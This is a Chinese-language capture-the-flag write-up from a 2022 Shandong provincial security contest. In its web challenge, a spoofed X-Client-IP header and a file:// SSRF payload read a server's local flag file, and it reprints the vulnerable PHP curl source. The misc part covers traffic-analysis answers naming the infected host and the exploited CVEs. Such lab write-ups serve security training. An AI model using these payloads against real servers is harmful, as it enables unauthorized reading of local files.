
山东省网络与信息安全管理员职业技能大赛 2022 Writeup
Web
打开环境注释里提示访问 robots.txt

访问 robots.txt
后得到两个文件 source.php
和 flag.php
,访问 source.php
提示 post
传递 admin

简单试了一下提交,得到 only 127.0.0.1 can get the flag!!

简单 fuzz
了一下,直接添加 X-Client-ip
头,得到 you need post url: http://www.ichunqiu.com

提交后得到一张图片
1
| admin=1&url=http://www.ichunqiu.com
|

图片没有任何回显

我们考虑伪协议试试,得到flag
1
| admin=1&url=file://www.ichunqiu.com/var/www/html/flag.php
|


同时读一下题目源码2333
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); include "flag.php"; echo "you need to login as admin!"; echo "<!-- post param 'admin' -->"; if(isset($_POST['admin'])) { if($_POST['admin']==1) { if($_SERVER['HTTP_X_CLIENT_IP']) { if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com') { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_POST['url']); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($curl); curl_close($curl); $filename='download/'.rand().';img1.jpg'; file_put_contents($filename,$content); echo $_POST['url']; $img="<img src=\"".$filename."\"/>"; echo $img; } else { echo "you need post url: http://www.ichunqiu.com"; } } else { echo "only 127.0.0.1 can get the flag!!"; } }
} else { $_POST['admin']=0; }
?>
|
Misc
通过流量分析,找到被恶意病毒感染Windows的ip地址格式为flag{}
172.16.165.165

通过流量分析,找到被恶意病毒感染Windows的主机名格式为flag{}
K34EN6W3N-PC

通过流量分析,找到被恶意病毒感染Windows利用的漏洞编号格式为flag{}

通过微步沙箱在线分析导出的HTTP内容,得到俩cve
,CVE-2012-0507
和 CVE-2014-0569
,他说是成功利用的,那么应该就是后面这个了。